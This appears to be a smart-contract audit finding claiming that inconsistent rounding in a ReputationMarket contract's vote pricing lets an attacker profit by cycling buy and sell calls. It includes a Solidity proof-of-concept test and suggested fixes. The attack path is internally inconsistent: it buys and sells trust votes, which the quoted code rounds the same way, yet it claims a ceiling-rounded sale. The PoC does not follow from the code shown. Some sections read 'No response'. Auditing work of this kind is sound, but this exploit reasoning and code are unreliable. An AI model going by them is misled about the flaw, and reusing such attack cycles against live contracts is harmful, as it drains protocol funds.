Fluffy Charcoal Toad
High
Inconsistent rounding modes in price calculations will cause a financial loss for the protocol and market participants as an attacker can exploit price differences through sequential buy/sell operations.
In ReputationMarket.sol:_calcVotePrice
the rounding modes are inconsistent between trust (Floor) and distrust (Ceil) votes:
return odds.mulDiv(
market.basePrice,
1e18,
isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil
);
- Market needs to have active trading (not graduated)
- Market needs to have sufficient liquidity for trades
- Market votes need to be at relatively low numbers where rounding impact is significant
No response
- Attacker calls
buyVotes(profileId, true, largeAmount)
to buy trust votes at floor-rounded (lower) price - Attacker immediately calls
sellVotes(profileId, true, largeAmount)
to sell at ceiling-rounded (higher) price - Attacker repeats steps 1-2 to maximize profit
- Each cycle generates profit from the rounding difference
The protocol suffers continuous losses proportional to the volume of trades. Attacker gains the difference between ceiling and floor rounded prices on each cycle. At low vote counts, this can represent a significant percentage of trade value.
function testLMSRManipulation() public {
// Setup market with low votes
uint256 profileId = 1;
uint256 initialVotes = 100;
market.createMarket{value: 1 ether}();
// Initial state
uint256 attackerBalance = address(this).balance;
// Execute attack cycle
for(uint i = 0; i < 5; i++) {
uint256 buyPrice = market.getVotePrice(profileId, true);
market.buyVotes{value: buyPrice * 10}(profileId, true, 10);
uint256 sellPrice = market.getVotePrice(profileId, true);
market.sellVotes(profileId, true, 10);
// Profit from each cycle
uint256 profit = sellPrice - buyPrice;
console.log("Profit from cycle:", profit);
}
assertGt(address(this).balance, attackerBalance);
}
- Use consistent rounding for both trust and distrust
function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) {
require(market.votes[TRUST] >= MIN_VOTES && market.votes[DISTRUST] >= MIN_VOTES,
"Below minimum votes");
uint256 odds = LMSR.getOdds(
market.votes[TRUST],
market.votes[DISTRUST],
market.liquidityParameter,
isPositive
);
return odds.mulDiv(market.basePrice, 1e18, Math.Rounding.Floor);
}
- Add minimum vote thresholds to reduce impact of rounding
- Implement trade size limits
- Add cooldown period between buy and sell operations